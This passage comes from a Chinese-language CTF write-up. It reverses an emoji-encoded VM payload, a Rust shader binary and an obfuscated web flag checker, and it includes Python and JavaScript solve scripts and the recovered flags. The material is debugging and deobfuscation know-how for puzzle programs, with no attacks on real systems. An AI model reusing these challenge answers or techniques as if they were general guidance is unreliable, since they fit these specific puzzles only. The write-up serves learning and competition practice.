3d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf24\ud83d\ude9e\ud83d\udefc\ud83d\udf3f\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\udf0b\ud83d\ude9c\ud83d\udee1\ud83d\udf24\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf3b\ud83d\ude9e\ud83d\udefc\ud83d\udf0c\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\uded7\ud83d\ude9c\ud83d\udee1\ud83d\udf3b\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf16\ud83d\ude9e\ud83d\udefc\ud83d\udf28\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\udec1\ud83d\ude9c\ud83d\udee1\ud83d\udf16\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf2c\ud83d\ude9e\ud83d\udefc\ud83d\udf32\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\udedd\ud83d\ude9c\ud83d\udee1\ud83d\udf2c\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf2b\ud83d\ude9e\ud83d\udefc\ud83d\udf31\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\udf0f\ud83d\ude9c\ud83d\udee1\ud83d\udf2b\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf39\ud83d\ude9e\ud83d\udefc\ud83d\udf18\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\udee5\ud83d\ude9c\ud83d\udee1\ud83d\udf39\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf3a\ud83d\ude9e\ud83d\udefc\ud83d\udf39\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\ude3f\ud83d\ude9c\ud83d\udee1\ud83d\udf3a\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf40\ud83d\ude9e\ud83d\udefc\ud83d\udf2e\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\udf0f\ud83d\ude9c\ud83d\udee1\ud83d\udf40\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf3d\ud83d\ude9e\ud83d\udefc\ud83d\udf28\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\ude16\ud83d\ude9c\ud83d\udee1\ud83d\udf3d\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf41\ud83d\ude9e\ud83d\udefc\ud83d\udf25\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\udf2e\ud83d\ude9c\ud83d\udee1\ud83d\udf41\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf17\ud83d\ude9e\ud83d\udefc\ud83d\udf3b\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\udf10\ud83d\ude9c\ud83d\udee1\ud83d\udf17\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf0c\ud83d\ude9e\ud83d\udefc\ud83d\udf3b\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\udf11\ud83d\ude9c\ud83d\udee1\ud83d\udf0c\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf0e\ud83d\ude9e\ud83d\udefc\ud83d\udf0b\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\udf0a\ud83d\ude9c\ud83d\udee1\ud83d\udf0e\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf2d\ud83d\ude9e\ud83d\udefc\ud83d\udf23\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\udf03\ud83d\ude9c\ud83d\udee1\ud83d\udf2d\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf08\ud83d\ude9e\ud83d\udefc\ud83d\udf3c\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\ude01\ud83d\ude9c\ud83d\udee1\ud83d\udf08\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf2e\ud83d\ude9e\ud83d\udefc\ud83d\udf0d\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\ude1b\ud83d\ude9c\ud83d\udee1\ud83d\udf2e\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf28\ud83d\ude9e\ud83d\udefc\ud83d\udf02\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\udf06\ud83d\ude9c\ud83d\udee1\ud83d\udf28\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf2f\ud83d\ude9e\ud83d\udefc\ud83d\udf32\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\ude94\ud83d\ude9c\ud83d\udee1\ud83d\udf2f\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf05\ud83d\ude9e\ud83d\udefc\ud83d\udf33\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\ude48\ud83d\ude9c\ud83d\udee1\ud83d\udf05\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf19\ud83d\ude9e\ud83d\udefc\ud83d\udf13\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\udef3\ud83d\ude9c\ud83d\udee1\ud83d\udf19\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf22\ud83d\ude9e\ud83d\udefc\ud83d\udf37\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\ude40\ud83d\ude9c\ud83d\udee1\ud83d\udf22\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf25\ud83d\ude9e\ud83d\udefc\ud83d\udf0a\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\udf40\ud83d\ude9c\ud83d\udee1\ud83d\udf25\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf18\ud83d\ude9e\ud83d\udefc\ud83d\udf2f\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\udee2\ud83d\ude9c\ud83d\udee1\ud83d\udf18\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf2a\ud83d\ude9e\ud83d\udefc\ud83d\udf29\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\udf03\ud83d\ude9c\ud83d\udee1\ud83d\udf2a\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf3c\ud83d\ude9e\ud83d\udefc\ud83d\udf02\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\ude01\ud83d\ude9c\ud83d\udee1\ud83d\udf3c\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf37\ud83d\ude9e\ud83d\udefc\ud83d\udf06\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\udf0b\ud83d\ude9c\ud83d\udee1\ud83d\udf37\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf35\ud83d\ude9e\ud83d\udefc\ud83d\udf29\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\udebf\ud83d\ude9c\ud83d\udee1\ud83d\udf35\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf10\ud83d\ude9e\ud83d\udefc\ud83d\udf34\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\ude45\ud83d\ude9c\ud83d\udee1\ud83d\udf10\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf03\ud83d\ude9e\ud83d\udefc\ud83d\udf40\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\udee4\ud83d\ude9c\ud83d\udee1\ud83d\udf03\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf02\ud83d\ude9e\ud83d\udefc\ud83d\udf2c\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\udf0f\ud83d\ude9c\ud83d\udee1\ud83d\udf02\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf33\ud83d\ude9e\ud83d\udefc\ud83d\udf2b\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\ude95\ud83d\ude9c\ud83d\udee1\ud83d\udf33\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf14\ud83d\ude9e\ud83d\udefc\ud83d\udf38\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\ude2d\ud83d\ude9c\ud83d\udee1\ud83d\udf14\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf06\ud83d\ude9e\ud83d\udefc\ud83d\udf37\ud83d\udf16\ud83d\ude3c\ud83d\udf22\ud83d\udf25\ud83d\ude9c\ud83d\udee1\ud83d\udf06\ud83d\udee8\ud83d\ude9f\ud83d\udee5\ud83d\ude1c\ud83d\ude9e\ud83d\udee1\ud83d\udf0d\ud83d\ude9e\ud83d\udefc\ud83d\udf3f\ud83d\udf16\ud83d\ude3c\ud83d\udf0a\ud83d\udef0\ud83d\ude9c\ud83d\udee1\ud83d\udf0d\ud83d\udee8\ud83d\ude9f\ud83d\udedd\ud83d\ude1c\ud83d\udee8\ud83d\udf17\ud83d\ude3f\ud83d\ude9e\ud83d\udf2a\ud83d\udf3e\ud83d\udf20\ud83d\udf2a\ud83d\udf3a\ud83d\udec1\ud83d\udf37\ud83d\udee8\ud83d\ude97\ud83d\ude27\ud83d\udf27\ud83d\udee8\ud83d\ude97\ud83d\ude1f\ud83d\udf15\ud83d\udecd\ud83d\ude0a\ud83d\ude8c\ud83d\udf27\ud83d\udf26\ud83d\udf26\ud83d\udf26\ud83d\ude0f\ud83d\udf29\ud83d\udee8\ud83d\udf17\ud83d\ude24\ud83d\udee8\ud83d\ude9d\ud83d\ude08\ud83d\udef8\ud83d\ude27"; uint magic = 228; byte[] out_code = etob(code, magic); //File.Create("out_code"); File.WriteAllBytes("out_code", out_code); string gun_code = "\ud83d\ude20\ud83d\ude3d\ud83d\udf3e\ud83d\udec0\ud83d\ude3d\ud83d\udf40\ud83d\ude3d\ud83d\udebd\ud83d\ude3d\ud83d\ude4e\ud83d\ude3e\ud83d\udebd\ud83d\ude00\ud83d\ude92\ud83d\ude3d\ud83d\ude44\ud83d\udee3\ud83d\udf41\ud83d\udea9\ud83d\ude95\ud83d\ude4f\ud83d\udea9\ud83d\ude96\ud83d\ude00\ud83d\udea9\ud83d\ude3d\ud83d\udf38\ud83d\udef6\ud83d\udea4\ud83d\ude3d\ud83d\ude4e\ud83d\ude25\ud83d\udebd\ud83d\ude09\ud83d\uded0\ud83d\uded5\ud83d\udea4\ud83d\udef5\ud83d\uded2\ud83d\udea5\ud83d\udea5\ud83d\udea5\ud83d\udea5\ud83d\ude3d\ud83d\udf3e\ud83d\udece\ud83d\ude28\ud83d\udef5"; uint gun_magic = 117; byte[] gun_out_code = etob(gun_code, gun_magic); File.WriteAllBytes("gun_out_code", gun_out_code); Console.WriteLine("Hello World!"); } public unsafe class VM { public unsafe class MemorySpace { public byte[] code; public byte[] mem; } public MemorySpace memSpace; public ulong*[] regptr; public int cmpresult; } } } ``` 用之前挖出來的`etob()`解解看,得到了`out_code` 拿x32dbg隨便開個程式把`out_code`的東西塞進去 ![image](https://hackmd.io/_uploads/SJnCBTot6.png) 誒啊 不是 你怎麼長這麼奇怪 換x64dbg ![image](https://hackmd.io/_uploads/HkwKt6sK6.png) 看起來正常多了 一開始的一整串`mov rax, ~~~`跟`push rax`可能是要檢查的資料 下面有一整坨`xor, add, sub`看起來是對stack上的flag做修改 ![image](https://hackmd.io/_uploads/HyK2s6iFT.png) 尾巴看起來是檢查修改完的flag跟一開始整坨`push rax`的資料做比對 物色了一塊記憶體空間然後把flag, register都帶入執行了一小段 ![image](https://hackmd.io/_uploads/BJtDsaoKT.png) 再跑了一小段後確定是對輸入的flag做一連串運算 ![image](https://hackmd.io/_uploads/HkMmRpitT.png) 做運算的asm剖析出的算式 ``` s[0x19] = s[0x19] ^ s[0x32] + 0x4E s[0x0] = s[0x0] ^ s[0xC] - 0x30 //T 54 s[0x3] = s[0x3] ^ s[0x4] + 0x3E //{ 7B s[0x14] = s[0x14] ^ s[0x34] + 0xFB s[0x5] = s[0x5] ^ s[0x8] + 0xF9 s[0x2D] = s[0x2D] ^ s[0x17] - 0xFB s[0x18] = s[0x18] ^ s[0x13] - 0xAD s[0x29] = s[0x29] ^ s[0x34] + 0xF s[0x1] = s[0x1] ^ s[0x32] + 0x7C //S 53 s[0x26] = s[0x26] ^ s[0x3] + 0xF2 s[0x34] = s[0x34] ^ s[0x20] + 0x99 s[0x21] = s[0x21] ^ s[0x3] + 0xA6 s[0x2B] = s[0x2B] ^ s[0x1A] - 0xC4 s[0xA] = s[0xA] ^ s[0x2E] - 0xF0 s[0xB] = s[0xB] ^ s[0x36] - 0x1A s[0x35] = s[0x35] ^ s[0x24] - 0xA s[0x23] = s[0x23] ^ s[0x33] - 0xA4 s[0x16] = s[0x16] ^ s[0x12] + 0x6A s[0x2C] = s[0x2C] ^ s[0x5] - 0xFC s[0x12] = s[0x12] ^ s[0x28] - 0x35 s[0x10] = s[0x10] ^ s[0x32] - 0x67 s[0x6] = s[0x6] ^ s[0x19] + 0x2D s[0x1D] = s[0x1D] ^ s[0x2E] + 0x44 s[0x30] = s[0x30] ^ s[0x2] + 0x75 s[0xE] = s[0xE] ^ s[0x14] + 0x45 s[0xD] = s[0xD] ^ s[0xB] + 0x29 s[0x13] = s[0x13] ^ s[0x32] - 0x4D s[0x1C] = s[0x1C] ^ s[0x13] + 0xDB s[0x1A] = s[0x1A] ^ s[0x8] - 0x29 s[0x1F] = s[0x1F] ^ s[0x2] - 0xF2 s[0x1B] = s[0x1B] ^ s[0x7] - 0x8 s[0x31] = s[0x31] ^ s[0x1D] - 0x2A s[0x2E] = s[0x2E] ^ s[0x1D] + 0x2B s[0x28] = s[0x28] ^ s[0x2D] + 0x2C s[0xF] = s[0xF] ^ s[0x5] + 0x25 s[0x22] = s[0x22] ^ s[0x1E] + 0xE5 s[0x8] = s[0x8] ^ s[0x2F] - 0xFF s[0x2] = s[0x2] ^ s[0x24] + 0x20 //C 43 s[0x9] = s[0x9] ^ s[0x14] - 0x80 s[0x27] = s[0x27] ^ s[0x15] - 0xAC s[0x33] = s[0x33] ^ s[0x35] + 0x50 s[0x4] = s[0x4] ^ s[0x11] + 0xA4 s[0x7] = s[0x7] ^ s[0x2C] + 0x1A s[0x32] = s[0x32] ^ s[0x9] - 0x42 s[0xC] = s[0xC] ^ s[0x3] + 0x25 s[0x1E] = s[0x1E] ^ s[0x24] + 0xE5 s[0x11] = s[0x11] ^ s[0x20] - 0x2D s[0x17] = s[0x17] ^ s[0x3] - 0x6B s[0x2A] = s[0x2A] ^ s[0x16] - 0xA1 s[0x25] = s[0x25] ^ s[0x1A] - 0x4C s[0x24] = s[0x24] ^ s[0xE] + 0x29 s[0x15] = s[0x15] ^ s[0xD] - 0x81 s[0x36] = s[0x36] ^ s[0x12] + 0xC9 //} 7D s[0x20] = s[0x20] ^ s[0x11] + 0x7 s[0x2F] = s[0x2F] ^ s[0x19] - 0x55 ``` 於是我就看著這整串算式配著檢查資料(`push rax`那段)手搓了4小時終於搓出flag了 ![image](https://hackmd.io/_uploads/By98xRsF6.png) 檢查一下 ![image](https://hackmd.io/_uploads/rkqYx0oY6.png) `RAX`是1,檢查通過 ![image](https://hackmd.io/_uploads/HJ_5xCjYa.png) flag: `TSC{reV3R53_4md64_45m_w17H_3m0ji_1n_T3H_NeT_5oO0O_c00L}` 補一下用剖析出來的算式跟檢查資料自動回推flag的script `exp.py`: ```python= equs = open('flag_equ.txt', 'r').read().splitlines() equ_params = [e.split(' ')[:7]for e in equs] result = list(bytes.fromhex('30AC3747D1305C5463ED8C08988E812BF0D345095850AD0B5579E4F83FC32338931CE9CBFE8B01545964583C0963B7F481724C8E080E01')) equ_params.reverse() for p in equ_params: src = result[int(p[0][4:-1], 16)] + 0x100 xor_ref = result[int(p[4][4:-1], 16)] add_sub_ref = int(p[6][2:], 16) if p[5] == '+': src = (src - add_sub_ref) & 0xFF else: src = (src + add_sub_ref) & 0xFF src = (src ^ xor_ref) & 0xFF result[int(p[0][4:-1], 16)] = src print(bytes.fromhex(''.join([hex(c)[2:] for c in result])).decode()) ``` 執行結果 ![image](https://hackmd.io/_uploads/HJySPAstT.png) ### 3D Shader #### `1 Solve` ![image](https://hackmd.io/_uploads/B1A3dRsYp.png) 看著題目敘述大概是指題目是用Rust寫的 ~~然而我從來沒接觸過Rust相關的東西~~ 總之,先餵給阿姨看看 ![image](https://hackmd.io/_uploads/BJ7sCknKT.png) 雖然我沒學過數學,但是那個`lea rcx, sub_140004590`看起來就很可疑對吧 進去看看,看起來或許就是真正的`main()`,先記一下 ![image](https://hackmd.io/_uploads/rylXzenK6.png) 因為x64dbg初始的breakpoint只有`EntryPoint`也就是`start()`,所以我們需要透過從`start()`到`main()`的code flow找到`sub_140004590`的實際位置才能比較方便debug 從Exports裡找到`start()`,會jmp到`__scrt_common_main_seh` ![image](https://hackmd.io/_uploads/SJ4vQl2tT.png) 從`main()`找cross reference,發現是在`__scrt_common_main_seh`被call ![image](https://hackmd.io/_uploads/ryg5W4ehtT.png) ![image](https://hackmd.io/_uploads/H1fT7enYT.png) 在x64dbg裡找到相似的code segment,看來`main()`的位址就是`shader.7FF666A571D0` ![image](https://hackmd.io/_uploads/Sk14Ee2Yp.png) 進去看看,`ds:[7FF666A54590]`應該就是之前懷疑的真正`main()`的位址,標記一下 ![image](https://hackmd.io/_uploads/HyKh4ghKp.png) 稍微標記了一些function,`shader.newWindow`這個標記是觀察經過這邊會多出一個視窗 ![image](https://hackmd.io/_uploads/SkVXrehF6.png) 更下面的code,看起來是在heap上開空間塞資料進去 ![image](https://hackmd.io/_uploads/SyUD8e2YT.png) :::info `shader.malloc?`這個標記是trace call後到這邊推測出的 ![image](https://hackmd.io/_uploads/B1KqIx2KT.png) ::: 找到寫入資料的位置,記一下 ![image](https://hackmd.io/_uploads/HyBEDght6.png) 第二組資料 ![image](https://hackmd.io/_uploads/HyoI_ehtp.png) ![image](https://hackmd.io/_uploads/H1G_Oe3K6.png) 這串0又是什麼? ![image](https://hackmd.io/_uploads/ByN6uehFT.png) ![image](https://hackmd.io/_uploads/S16auxhKT.png) 這段推測是開兩個新的字串 ![image](https://hackmd.io/_uploads/HyLEYl2Ka.png) 後面有4組這串東西,不太清楚是什麼資料 ![image](https://hackmd.io/_uploads/SJKqKl3Kp.png) MessageBox? ![image](https://hackmd.io/_uploads/BJbX5l2YT.png) ![image](https://hackmd.io/_uploads/r1Or9x2Fp.png) 關掉MessageBox後出現的畫面 ![image](https://hackmd.io/_uploads/SyXD9ght6.png) 按了幾下鍵盤後發現方向鍵可以控制render,還有之前標記的第一組資料跟一串0都發生了改變 ![image](https://hackmd.io/_uploads/rkYzog2Kp.png) ![image](https://hackmd.io/_uploads/r1Nmjx2ta.png) 也許第二組資料就是要按的按鍵順序? 試了幾次終於在第一組資料的位置看到疑似flag的東西了 ![image](https://hackmd.io/_uploads/rkzdaehKa.png) 然後多按幾次就會crash ![image](https://hackmd.io/_uploads/HJYJRehF6.png) flag: `TCL{wRiTe_ReNdEr_wItH_RS_i4_HARd}` ### Flag Checker #### `1 Solve` ![image](https://hackmd.io/_uploads/rkNoRl3YT.png) 連結點進去,看起來就是個普通的flag checker ![image](https://hackmd.io/_uploads/SJrtl-2FT.png) F12打開看一下原始碼 `app.js`: ```javascript= const app = Vue.createApp({ data() { return { buttonMessage: "Check!", flag: "", } }, mounted() { fetch('/init') .then(response => response.text()) .then(data => { eval(this.decrypt(data)) }) }, methods: { decrypt(encryptedHex) { var key = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]; // When ready to decrypt the hex string, convert it back to bytes var encryptedBytes = aesjs.utils.hex.toBytes(encryptedHex); // The counter mode of operation maintains internal state, so to // decrypt a new instance must be instantiated. var aesCtr = new aesjs.ModeOfOperation.ctr(key, new aesjs.Counter(5)); var decryptedBytes = aesCtr.decrypt(encryptedBytes); // Convert our bytes back into text var decryptedText = aesjs.utils.utf8.fromBytes(decryptedBytes); return decryptedText; // "Text may be any length you wish, no padding is required." }, checkFlag() { window.flag = this.flag; fetch(`/check-flag?flag=${this.flag}`, { method: 'DELETE' }) .then(response => response.text()) .then(data => { eval(this.decrypt(data)) if (checkFlag(this.flag)) { Swal.fire({ title: "Good job!", text: "Your flag is correct!", icon: "success" }); } else { Swal.fire({ title: "Oops...", text: "Your flag is wrong!", icon: "error" }); } }) } } }) app.mount('#app') ``` 看起來`init()`跟`checkFlag()`都是接收response再丟到`decrypt()`後eval intercept一下`/init` ![image](https://hackmd.io/_uploads/BkJHXZ3ta.png) 還有`/check-flag` ![image](https://hackmd.io/_uploads/S1enQWhYT.png) 把`decrypt()`複刻一份後嘗試解這兩組資料 ![image](https://hackmd.io/_uploads/S1kQNWnta.png) 熟悉的aaencode ![image](https://hackmd.io/_uploads/By4w4b2Ya.png) 原來尾巴還有這行 解完結果 `init.js`: ```javascript= setInterval(async () => { const threshold = 160; const widthThreshold = window.outerWidth - window.innerWidth > threshold; const heightThreshold = window.outerHeight - window.innerHeight > threshold; const orientation = widthThreshold ? 'vertical' : 'horizontal'; if (widthThreshold || heightThreshold) { fetch('/rickroll') alert('I think you are a hacker!\n(since you opened devtools)') location = '/rickroll' } }, 3000); setInterval(async () => { debugger; }, 1000); ``` 好像是防止用F12的東西 輪到`check-flag`了 ![image](https://hackmd.io/_uploads/BJlVSbnFp.png) 整理了一下 `checker.js`: ```javascript= function SHA1(r) { function e(r, e) { return r << e | r >>> 32 - e } function t(r) { var e, t = ""; for (e = 7; e >= 0; e--) t += (r >>> 4 * e & 15).toString(16); return t } var n, o, a, h, c, f, C, u, i, d = new Array(80), g = 1732584193, s = 4023233417, A = 2562383102, l = 271733878, S = 3285377520, b = (r = function(r) { r = r.replace(/\\r\\n/g, "\\n"); for (var e = "", t = 0; t < r.length; t++) { var n = r.charCodeAt(t); n < 128 ? e += String.fromCharCode(n) : n > 127 && n < 2048 ? (e += String.fromCharCode(n >> 6 | 192), e += String.fromCharCode(63 & n | 128)) : (e += String.fromCharCode(n >> 12 | 224), e += String.fromCharCode(n >> 6 & 63 | 128), e += String.fromCharCode(63 & n | 128)) } return e }(r)).length, m = new Array; for (o = 0; o < b - 3; o += 4) a = r.charCodeAt(o) << 24 | r.charCodeAt(o + 1) << 16 | r.charCodeAt(o + 2) << 8 | r.charCodeAt(o + 3), m.push(a); switch (b % 4) { case 0: o = 2147483648; break; case 1: o = r.charCodeAt(b - 1) << 24 | 8388608; break; case 2: o = r.charCodeAt(b - 2) << 24 | r.charCodeAt(b - 1) << 16 | 32768; break; case 3: o = r.charCodeAt(b - 3) << 24 | r.charCodeAt(b - 2) << 16 | r.charCodeAt(b - 1) << 8 | 128 } for (m.push(o); m.length % 16 != 14;) m.push(0); for (m.push(b >>> 29), m.push(b << 3 & 4294967295), n = 0; n < m.length; n += 16) { for (o = 0; o < 16; o++) d[o] = m[n + o]; for (o = 16; o <= 79; o++) d[o] = e(d[o - 3] ^ d[o - 8] ^ d[o - 14] ^ d[o - 16], 1); for (h = g, c = s, f = A, C = l, u = S, o = 0; o <= 19; o++) i = e(h, 5) + (c & f | ~c & C) + u + d[o] + 1518500249 & 4294967295, u = C, C = f, f = e(c, 30), c = h, h = i; for (o = 20; o <= 39; o++) i = e(h, 5) + (c ^ f ^ C) + u + d[o] + 1859775393 & 4294967295, u = C, C = f, f = e(c, 30), c = h, h = i; for (o = 40; o <= 59; o++) i = e(h, 5) + (c & f | c & C | f & C) + u + d[o] + 2400959708 & 4294967295, u = C, C = f, f = e(c, 30), c = h, h = i; for (o = 60; o <= 79; o++) i = e(h, 5) + (c ^ f ^ C) + u + d[o] + 3395469782 & 4294967295, u = C, C = f, f = e(c, 30), c = h, h = i; g = g + h & 4294967295, s = s + c & 4294967295, A = A + f & 4294967295, l = l + C & 4294967295, S = S + u & 4294967295 } return (i = t(g) + t(s) + t(A) + t(l) + t(S)).toLowerCase() } function isEven(r) { return (1 << r) % 10 != 2 && (1 << r) % 10 != 8 } function checkFlag(r) { if (50 !== r.length) return !1; if ("TSC{" !== r.substring(0, 4)) return !1; if ("}" !== r.substring(r.length - 1)) return !1; const e = SHA1(r.substring(0, 7)); for (let t = 7; t < r.length - 1; t++) if ((eval(`"TSC{\u0001PU[\u0011\u0005\u0005\u0004\u000fRk\u0012UR\\tn^PE\u0004\u0010<\u0003RY\\rX9\u0003\u0004\u0010\u0007=\u001a\\0D<@\u0012n\\f\u0007}"`).charCodeAt(t - 3) ^ r.charCodeAt(t)) === e.charCodeAt(t % e.length) ^ 1) return !1; if ('8d41c13d201aa912146145ceff9589ed194c97a7' !== SHA1(flag)) return !1; return !0 } ``` :::warning 這邊要注意一點是原先字串(用\`\`包起來的)中的`checkFlag()`中還有一個字串,而且裡面有escape sequence,如果直接取出來parse的話有可能會額外出現一些字元,在這邊是繼續用\`\`包起來eval來確保會parse成正確的字串 ::: 從`checkFlag`我們可以得知幾個資訊: 1. flag長度為50 2. checker會取輸入flag的前7個字元計算SHA1值再搭配一個特定字串和輸入flag做運算比對 3. 最後會檢查輸入flag的SHA1是否符合`8d41c13d201aa912146145ceff9589ed194c97a7` `exp.js`: ```javascript= function SHA1(r) { function e(r, e) { return r << e | r >>> 32 - e } function t(r) { var e, t = ""; for (e = 7; e >= 0; e--) t += (r >>> 4 * e & 15).toString(16); return t } var n, o, a, h, c, f, C, u, i, d = new Array(80), g = 1732584193, s = 4023233417, A = 2562383102, l = 271733878, S = 3285377520, b = (r = function(r) { r = r.replace(/\\r\\n/g, "\\n"); for (var e = "", t = 0; t < r.length; t++) { var n = r.charCodeAt(t); n < 128 ? e += String.fromCharCode(n) : n > 127 && n < 2048 ? (e += String.fromCharCode(n >> 6 | 192), e += String.fromCharCode(63 & n | 128)) : (e += String.fromCharCode(n >> 12 | 224), e += String.fromCharCode(n >> 6 & 63 | 128), e += String.fromCharCode(63 & n | 128)) } return e }(r)).length, m = new Array; for (o = 0; o < b - 3; o += 4) a = r.charCodeAt(o) << 24 | r.charCodeAt(o + 1) << 16 | r.charCodeAt(o + 2) << 8 | r.charCodeAt(o + 3), m.push(a); switch (b % 4) { case 0: o = 2147483648; break; case 1: o = r.charCodeAt(b - 1) << 24 | 8388608; break; case 2: o = r.charCodeAt(b - 2) << 24 | r.charCodeAt(b - 1) << 16 | 32768; break; case 3: o = r.charCodeAt(b - 3) << 24 | r.charCodeAt(b - 2) << 16 | r.charCodeAt(b - 1) << 8 | 128 } for (m.push(o); m.length % 16 != 14;) m.push(0); for (m.push(b >>> 29), m.push(b << 3 & 4294967295), n = 0; n < m.length; n += 16) { for (o = 0; o < 16; o++) d[o] = m[n + o]; for (o = 16; o <= 79; o++) d[o] = e(d[o - 3] ^ d[o - 8] ^ d[o - 14] ^ d[o - 16], 1); for (h = g, c = s, f = A, C = l, u = S, o = 0; o <= 19; o++) i = e(h, 5) + (c & f | ~c & C) + u + d[o] + 1518500249 & 4294967295, u = C, C = f, f = e(c, 30), c = h, h = i; for (o = 20; o <= 39; o++) i = e(h, 5) + (c ^ f ^ C) + u + d[o] + 1859775393 & 4294967295, u = C, C = f, f = e(c, 30), c = h, h = i; for (o = 40; o <= 59; o++) i = e(h, 5) + (c & f | c & C | f & C) + u + d[o] + 2400959708 & 4294967295, u = C, C = f, f = e(c, 30), c = h, h = i; for (o = 60; o <= 79; o++) i = e(h, 5) + (c ^ f ^ C) + u + d[o] + 3395469782 & 4294967295, u = C, C = f, f = e(c, 30), c = h, h = i; g = g + h & 4294967295, s = s + c & 4294967295, A = A + f & 4294967295, l = l + C & 4294967295, S = S + u & 4294967295 } return (i = t(g) + t(s) + t(A) + t(l) + t(S)).toLowerCase() } function isEven(r) { return (1 << r) % 10 != 2 && (1 << r) % 10 != 8 } mask = 